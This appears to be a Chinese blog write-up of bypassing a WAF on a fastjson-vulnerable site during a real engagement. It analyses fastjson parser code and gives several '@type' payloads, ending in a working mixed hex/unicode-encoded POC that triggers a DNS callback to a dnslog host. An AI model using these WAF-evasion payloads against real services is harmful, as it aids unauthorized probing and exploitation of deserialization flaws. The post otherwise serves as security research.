记一次实战中对fastjson waf的绕过

embedded/2024/11/14 12:45:48/

最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了

于是开始了绕过之旅,顺便来学习一下如何waf

编码绕过

去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过

首先简单的测试一下

parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:143, JSON (com.alibaba.fastjson)
main:8, Test

到如下代码

if (ch == '"') {key = lexer.scanSymbol(this.symbolTable, '"');lexer.skipWhitespace();ch = lexer.getCurrent();if (ch != ':') {throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);}
}

进入scanSymbol方法

方法就是对我们的key进行处理

switch (chLocal) {case '"':hash = 31 * hash + 34;this.putChar('"');break;case '#':case '$':case '%':case '&':case '(':case ')':case '*':case '+':case ',':case '-':case '.':case '8':case '9':case ':':case ';':case '<':case '=':case '>':case '?':case '@':case 'A':case 'B':case 'C':case 'D':case 'E':case 'G':case 'H':case 'I':case 'J':case 'K':case 'L':case 'M':case 'N':case 'O':case 'P':case 'Q':case 'R':case 'S':case 'T':case 'U':case 'V':case 'W':case 'X':case 'Y':case 'Z':case '[':case ']':case '^':case '_':case '`':case 'a':case 'c':case 'd':case 'e':case 'g':case 'h':case 'i':case 'j':case 'k':case 'l':case 'm':case 'o':case 'p':case 'q':case 's':case 'w':default:this.ch = chLocal;throw new JSONException("unclosed.str.lit");case '\'':hash = 31 * hash + 39;this.putChar('\'');break;case '/':hash = 31 * hash + 47;this.putChar('/');break;case '0':hash = 31 * hash + chLocal;this.putChar('\u0000');break;case '1':hash = 31 * hash + chLocal;this.putChar('\u0001');break;case '2':hash = 31 * hash + chLocal;this.putChar('\u0002');break;case '3':hash = 31 * hash + chLocal;this.putChar('\u0003');break;case '4':hash = 31 * hash + chLocal;this.putChar('\u0004');break;case '5':hash = 31 * hash + chLocal;this.putChar('\u0005');break;case '6':hash = 31 * hash + chLocal;this.putChar('\u0006');break;case '7':hash = 31 * hash + chLocal;this.putChar('\u0007');break;case 'F':case 'f':hash = 31 * hash + 12;this.putChar('\f');break;case '\\':hash = 31 * hash + 92;this.putChar('\\');break;case 'b':hash = 31 * hash + 8;this.putChar('\b');break;case 'n':hash = 31 * hash + 10;this.putChar('\n');break;case 'r':hash = 31 * hash + 13;this.putChar('\r');break;case 't':hash = 31 * hash + 9;this.putChar('\t');break;case 'u':char c1 = this.next();char c2 = this.next();char c3 = this.next();char c4 = this.next();int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);hash = 31 * hash + val;this.putChar((char)val);break;case 'v':hash = 31 * hash + 11;this.putChar('\u000b');break;case 'x':char x1 = this.ch = this.next();x2 = this.ch = this.next();int x_val = digits[x1] * 16 + digits[x2];char x_char = (char)x_val;hash = 31 * hash + x_char;this.putChar(x_char);
}

可以看到有不同的处理,对应的支持unicode和16进制编码

先去试一试

探测一手

"{\"a\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.net.Inet4Address\",\"val\":\"cd4d1c41.log.dnslog.sbs.\"}}"

可惜还是被拦截了

尝试了16进制结果还是一样的

特殊反序列化绕过

因为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程

解析我们的字段的逻辑是在parseField方法

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues, int[] setFlags) {JSONLexer lexer = parser.lexer; // xxxfinal int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;FieldDeserializer fieldDeserializer;if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {fieldDeserializer = getFieldDeserializer(key);} else {fieldDeserializer = smartMatch(key, setFlags);}

绕过逻辑是在smartMatch方法

方法如下

public FieldDeserializer smartMatch(String key, int[] setFlags) {if (key == null) {return null;}FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);if (fieldDeserializer == null) {long smartKeyHash = TypeUtils.fnv1a_64_lower(key);if (this.smartMatchHashArray == null) {long[] hashArray = new long[sortedFieldDeserializers.length];for (int i = 0; i < sortedFieldDeserializers.length; i++) {hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);}Arrays.sort(hashArray);this.smartMatchHashArray = hashArray;}// smartMatchHashArrayMappingint pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);if (pos < 0 && key.startsWith("is")) {smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);}if (pos >= 0) {if (smartMatchHashArrayMapping == null) {short[] mapping = new short[smartMatchHashArray.length];Arrays.fill(mapping, (short) -1);for (int i = 0; i < sortedFieldDeserializers.length; i++) {int p = Arrays.binarySearch(smartMatchHashArray, TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));if (p >= 0) {mapping[p] = (short) i;}}smartMatchHashArrayMapping = mapping;}int deserIndex = smartMatchHashArrayMapping[pos];if (deserIndex != -1) {if (!isSetFlag(deserIndex, setFlags)) {fieldDeserializer = sortedFieldDeserializers[deserIndex];}}}if (fieldDeserializer != null) {FieldInfo fieldInfo = fieldDeserializer.fieldInfo;if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) {return null;}}}return fieldDeserializer;
}

对key处理的逻辑如下

long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
public static long fnv1a_64_lower(String key) {long hashCode = 0xcbf29ce484222325L;for (int i = 0; i < key.length(); ++i) {char ch = key.charAt(i);if (ch == '_' || ch == '-') {continue;}if (ch >= 'A' && ch <= 'Z') {ch = (char) (ch + 32);}hashCode ^= ch;hashCode *= 0x100000001b3L;}return hashCode;
}

可以看到使用_和-的方法已经没有作用了

不过有个好消息是

int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
if (pos < 0 && key.startsWith("is")) {smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}

可以看到对is进行了一个截取,那我们添加一个is

可惜测试了还是不可以

加特殊字符绕过

这个的具体处理逻辑是在skipComment的方法

而处理逻辑是在

public final void skipWhitespace() {for (;;) {if (ch <= '/') {if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {next();continue;} else if (ch == '/') {skipComment();continue;} else {break;}} else {break;}}
}

匹配到这些特殊字符就忽略

测试一下

import com.alibaba.fastjson.JSON;public class Test {public static void main(String[] args) {String aaa = "{\"@type\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}";JSON.parse(aaa);}
}

确实可以,但是环境上去尝试任然被waf了

双重编码

最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码

单独的unicode和16进制都不可以

尝试一下同时呢?

去对@type编码

POC

{\"\\x40\\u0074\\u0079\\u0070\\u0065\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}

最后也是成功了

猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码


http://www.ppmy.cn/embedded/113981.html

相关文章

openGemini 社区人才培养计划:助力成长,培养新一代云原生数据库人才

一、摘要 在技术革新的浪潮中&#xff0c;数据库技术是现代信息技术的基石&#xff0c;openGemini社区携手开发者&#xff0c;启动人才培养计划&#xff0c;旨在培养新一代云原生数据库技术人才&#xff0c;共同推动云原生数据库技术创新。 二、社区介绍 openGemini是一款开…

获取java jdk包的方式记录

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、OpenLogic方式二、华为源下载 前言 记录一下获取java jdk的方式方法。 一、OpenLogic方式 网址&#xff1a;https://www.openlogic.com/openjdk-download…

Vue常见面试题目

computed与watch区别 computed&#xff08;计算属性&#xff09;watch&#xff08;侦听器&#xff09;定义与用途计算属性&#xff08;computed&#xff09;用于声明式地描述一些依赖响应式属性的计算值。当依赖的响应式属性值发生变化时&#xff0c;计算属性会重新求值。侦听…

动态IP池的IP都是纯净IP吗?

在当今互联网时代&#xff0c;动态IP池作为一种网络资源管理策略&#xff0c;被广泛应用于数据抓取、市场调研、广告验证等多种场景中。动态IP池能够提供大量可轮换的IP地址&#xff0c;以帮助用户避免因频繁访问同一网站而被封禁IP的情况。然而&#xff0c;一个关键的问题是&a…

机器学习2--matplotlib绘图包

文章目录 一、折线图二、基础绘图功能三、一个坐标系绘制多张图像四、多个坐标系显示 一、折线图 import matplotlib.pyplot as plt # 创建画布 plt.figure(figsize(10,10), dpi100) #指定长宽、清晰度 #绘制图像 plt.plot([1,2,4,7,1,3,4,6,2]) #显示图片 plt.show()二、基础…

Nacos和Eureka的区别

前言 Nacos 和 Eureka 都是用于服务发现与注册的工具&#xff0c;它们在微服务架构中都扮演着重要角色。 Nacos与Eureka的共同点 都支持服务注册和服务拉取都支持服务提供者心跳方式做健康检测 Nacos与Eureka的区别 Nacos支持服务端主动检测提供者状态&#xff1a;临时实例采…

关雅荻发文批评某脱口秀节目审核问题:为博流量乱搞事情?

最近&#xff0c;针对某脱口秀节目中引发的网络舆情&#xff0c;电影制片人关雅荻发文严厉批评该视频平台的审核问题&#xff0c;指出“这家视频网站对应的节目审核环节严重失职&#xff0c;或者有意渎职&#xff0c;这个脱口秀节目制作方在自己内容策划和制作也有明显失职、严…

我的AI工具箱Tauri版-MicrosoftTTS文本转语音

本教程基于自研的AI工具箱Tauri版进行MicrosoftTTS文本转语音服务。 MicrosoftTTS文本转语音服务 是自研的AI工具箱Tauri版中的一款功能模块&#xff0c;专为实现高效的文本转语音操作而设计。通过集成微软TTS服务&#xff0c;用户可以将大量文本自动转换为自然流畅的语音文件…